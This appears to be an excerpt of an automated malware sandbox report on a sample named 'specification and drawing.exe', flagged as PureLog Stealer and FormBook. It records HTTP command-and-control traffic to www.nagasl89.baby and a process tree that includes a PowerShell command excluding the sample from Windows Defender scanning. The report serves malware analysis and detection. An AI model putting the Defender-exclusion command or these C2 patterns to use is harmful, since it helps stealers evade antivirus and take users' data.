Dec 2, 2024 14:40:44.708770990 CET	841	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 13:40:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dvBNwCKWKzfEEyLKBHjnRXdN%2Bg0eZ9I%2FByqogHL7ecgXzwREtlxo459c9H7pxcdgVawMSCCKp3yNjGy31PX57lgetkco1u6SKOmIJ6T95vwkjN5%2Fu%2Fw8K%2F5Ox29hWjP1nsAK7Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebbbaff3eb20f53-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1464&min_rtt=1464&rtt_var=732&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=834&delivery_rate=0&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	50035	162.159.140.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:46.994199038 CET	1847	OUT	POST /w21a/ HTTP/1.1 Host: www.nagasl89.baby Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.nagasl89.baby Referer: http://www.nagasl89.baby/w21a/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 47 62 35 65 61 71 56 39 7a 4d 78 68 50 31 52 2b 41 6c 46 77 50 47 4d 49 47 70 48 72 67 2f 43 44 4c 72 6d 6c 5a 66 67 74 74 70 55 52 39 59 4b 79 63 39 63 6d 48 62 4d 72 62 72 62 44 37 4d 79 77 69 4c 64 76 46 7a 75 30 49 65 53 78 32 62 49 78 72 44 39 74 33 61 74 78 33 69 76 41 52 6f 39 69 79 4d 48 43 74 4c 74 34 41 42 30 6a 72 7a 42 73 65 49 31 4f 4b 41 2f 4a 67 52 52 37 57 63 5a 32 44 70 69 4a 62 50 48 57 69 36 37 7a 77 69 49 2f 30 33 65 43 43 75 2f 70 6b 45 50 75 46 31 44 70 79 6e 33 51 4a 67 69 62 41 35 65 63 53 75 69 79 64 37 6b 68 35 74 33 69 70 59 79 4c 38 68 32 4a 44 50 4f 66 58 66 38 61 4e 65 59 63 34 71 45 56 44 6f 42 63 65 73 59 31 2f 68 67 38 37 4e 57 42 6a 37 4e 76 76 2f 56 66 76 42 54 57 34 4b 32 34 6a 53 64 4f 32 6b 54 66 2f 6c 79 51 66 44 41 72 50 35 6c 59 6f 6c 4b 6e 39 41 44 62 2f 78 45 38 74 33 55 67 38 48 4c 6f 30 41 59 70 64 6d 71 51 58 74 7a 31 2b 36 41 53 53 48 51 57 6f 4e 42 69 42 69 7a 4a 54 4e 55 48 77 71 36 39 61 4e 63 61 39 6d 7a 54 75 33 6b 76 4d 67 [TRUNCATED] Data Ascii: aNXP_jw=Gb5eaqV9zMxhP1R+AlFwPGMIGpHrg/CDLrmlZfgttpUR9YKyc9cmHbMrbrbD7MywiLdvFzu0IeSx2bIxrD9t3atx3ivARo9iyMHCtLt4AB0jrzBseI1OKA/JgRR7WcZ2DpiJbPHWi67zwiI/03eCCu/pkEPuF1Dpyn3QJgibA5ecSuiyd7kh5t3ipYyL8h2JDPOfXf8aNeYc4qEVDoBcesY1/hg87NWBj7Nvv/VfvBTW4K24jSdO2kTf/lyQfDArP5lYolKn9ADb/xE8t3Ug8HLo0AYpdmqQXtz1+6ASSHQWoNBiBizJTNUHwq69aNca9mzTu3kvMg99vwtdPv4wTUyY/3P5Z2aqwjmd459eg3Irpb6tx0UDGHVozHzs+87mVBeSWD5hGr+LyoKDIpPjftfCDWvni5FpDJs7gyUQVRLIRCyya5N3zE59UE/ygEPBGwC4A91pNhpXgk6Dm4YkkICiCB9Ei20tLCXriY0jMjPQSw9RmfRuCcaIpRRpuySb7Kz6YQUdg3Q6WGDTe83nZStqSF7wjH7uDHVYxqEHdA/Sn/cYZUI57I9NMvk24urJq8jJC68RPKJA8hcbmFyQ4XtbHW/upHUudZZqNsCXTj1H1JJHVM1tuIPr9yqT4cvv4Y7NssrmWYAKp+5s+EHJ+PZbtwhI/c1zH2/MPFAuaaXMJt+MDmrRi9p6RDMLzeDUqSvOJZAybkcimZh3ZT2mtUVSsuMw+JNYbRGaYtzA6b5hpcPa49e+Im3eUmc2sR538KxRQO+1PHn6vM3SpsHplGZ8zfzw+46TJqzK0hhp7VbvdTpp2IQr4kRYwMPsTnCzBHnJwmZqxYEsS2wB7gq6CYpf8pXK+y5ax6dVLvuPUVhDvnVxMwldD2/UPtcp7Gw21E/icuCM8xf1vl1519jiJG1BJX3JjMwOeU2nW5XToZ1UZGGpAGXAzYvsXarugWAsdcswxfrDNKYC4BqWC8mCiTnpeVlreScImTwZ1fkw2LQY [TRUNCATED]
Dec 2, 2024 14:40:48.609563112 CET	840	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 13:40:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fj2oMbbOY67wlckcy5EAafOiwb2gOlr3ONCh32BGb6rJS%2FQ%2Bv8zQqJ0ox2i%2FV4Y5HGwb6oX0M4bWn5A22afTCO98blEgOM5INu3JaE2p6hNCiWfOnlOfhBUqF5Bb8ZN7%2FkW6Zg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebbbb17b82743fe-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1566&min_rtt=1566&rtt_var=783&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1847&delivery_rate=0&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	50036	162.159.140.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:49.661510944 CET	550	OUT	GET /w21a/?cTT8u=Q4NHoHJ0&aNXP_jw=LZR+ZfxbvtNDeEpFHDBOAnNQReD6jdenS5faavQJiaR4jsC5ZvEsJscNWNTIhM6XzOFPLAXSOfmv47Q4tyBC+fdx4nmbPqtD38XQudBSIRIiqzdGLKpTAxO37HRkObotKIbjEro= HTTP/1.1 Host: www.nagasl89.baby Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:40:51.357806921 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:40:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Bj%2FhUPlA8uq5yAyuZjDrV2m8Maf1noh2zh%2FEkSNIIo86l%2FuVuM4B%2BwREoHQOzzvaevROgvaeLhdansIE0nH0VlE%2B5eFe%2B7wu9ZiCoLNJc%2FiEa%2B0Aw6bneun38fR7H%2Fwei1Usw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ebbbb28bb180f53-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1474&rtt_var=737&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=550&delivery_rate=0&cwnd=191&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 66 62 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 64 2d 49 44 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 42 75 6b 61 6e 57 6f 72 64 70 72 65 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 [TRUNCATED] Data Ascii: 1fb4<!DOCTYPE html><html lang="id-ID"><head> <meta charset="utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover" /><meta name="generator" content="BukanWordpress" /><link rel="icon" type="image/x-icon" href="https://www.nagasl89.baby/favicon.ico" /><link rel="sitemap" href="https://www.nagasl89.baby
Dec 2, 2024 14:40:51.357861042 CET	1236	IN	Data Raw: 2f 73 69 74 65 6d 61 70 2e 78 6d 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 52 54 50 20 53 4c 4f 54 4f Data Ascii: /sitemap.xml" /><link rel="alternate" type="application/rss+xml" title="RTP SLOTO89 Feed" href="https://www.nagasl89.baby/feed/rss" /> <title>Halaman ini tidak ada! - RTP SLOTO89</title> <meta name="description" content="404 Not Foun
Dec 2, 2024 14:40:51.357872963 CET	448	IN	Data Raw: 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 67 61 73 6c 38 39 2e 62 61 62 79 2f 74 68 65 6d 65 73 2f 72 74 70 2f 63 73 73 2f 73 74 79 6c 65 5f 76 33 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0a Data Ascii: tps://www.nagasl89.baby/themes/rtp/css/style_v3.css" type="text/css" media="all"> <link rel="stylesheet" id="twentyfifteen-style-css" href="https://www.nagasl89.baby/themes/rtp/css/styleslot.css" type="text/css" media="all"> <link rel=
Dec 2, 2024 14:40:51.358064890 CET	1236	IN	Data Raw: 64 2f 70 6f 70 70 65 72 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 40 Data Ascii: d/popper.min.js"></script> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anony
Dec 2, 2024 14:40:51.358077049 CET	1236	IN	Data Raw: 20 61 64 61 21 20 2d 20 52 54 50 20 53 4c 4f 54 4f 38 39 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 73 69 74 65 22 20 63 6f 6e 74 65 6e 74 3d 22 40 74 68 65 70 72 61 63 74 69 63 61 6c 64 65 76 22 3e 0a 20 20 Data Ascii: ada! - RTP SLOTO89"> <meta name="twitter:site" content="@thepracticaldev"> <meta name="twitter:creator" content="@"> <meta name="twitter:title" content=""> <meta name="twitter:description" content="404 Not Found"> <meta na
Dec 2, 2024 14:40:51.358088970 CET	1236	IN	Data Raw: 2d 35 31 32 2e 70 6e 67 22 2d 2d 3e 0a 20 20 20 20 3c 21 2d 2d 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 35 32 78 31 35 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 65 73 Data Ascii: -512.png"--> ...link rel="apple-touch-icon" sizes="152x152" href="https://res.cloudinary.com/practicaldev/image/fetch/s--l0c3Kmql--/c_limit,f_png,fl_progressive,q_80,w_152/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlo
Dec 2, 2024 14:40:51.358136892 CET	1236	IN	Data Raw: 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d Data Ascii: <meta name="apple-mobile-web-app-title" content=""> <meta name="application-name" content="">... end of og -->... Google tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-73FPR0H3RW"></script><script
Dec 2, 2024 14:40:51.358149052 CET	328	IN	Data Raw: 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 3d 22 43 61 72 69 22 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 75 74 74 6f 6e 22 3e 0d 0a 20 20 20 20 3c 2f 66 6f 72 6d 3e 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 61 72 74 69 63 6c 65 3e 20 20 20 20 Data Ascii: "submit" value="Cari" class="search-button"> </form> </div></article> <footer id="colophon" class="site-footer" role="contentinfo"> <div class="site-info"> <span c
Dec 2, 2024 14:40:51.358987093 CET	996	IN	Data Raw: 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 2f 2a 20 Data Ascii: </div> </footer> </div> <script type="text/javascript"> /* <![CDATA[ */ var screenReaderText = {"expand":"<span class=\"screen-reader-text\">expand child menu<\/span>","collapse":"<span class=\"screen-reader-text\">c

Target ID:	0
Start time:	08:36:38
Start date:	02/12/2024
Path:	C:\Users\user\Desktop\specification and drawing.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\specification and drawing.exe"
Imagebase:	0x930000
File size:	917'504 bytes
MD5 hash:	8941CBF2CDD44ECFE97F45A2FED0D94F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2187012973.00000000056C0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2179156189.0000000003DC9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000002.2178181816.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	08:36:42
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\specification and drawing.exe"
Imagebase:	0x2a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	08:36:42
Start date:	02/12/2024
Path:	C:\Users\user\Desktop\specification and drawing.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\specification and drawing.exe"
Imagebase:	0x550000
File size:	917'504 bytes
MD5 hash:	8941CBF2CDD44ECFE97F45A2FED0D94F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2400421345.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2401176438.0000000001030000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2402440519.0000000001E90000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	5
Start time:	08:36:42
Start date:	02/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	08:36:57
Start date:	02/12/2024
Path:	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe"
Imagebase:	0x5b0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4589607610.0000000003BF0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	8
Start time:	08:36:59
Start date:	02/12/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\wscript.exe"
Imagebase:	0xc60000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4581614710.0000000000750000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4590637504.0000000004660000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4590687371.00000000046B0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	10
Start time:	08:37:13
Start date:	02/12/2024
Path:	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe"
Imagebase:	0x5b0000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.4592454426.0000000004B70000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Target ID:	12
Start time:	08:37:26
Start date:	02/12/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true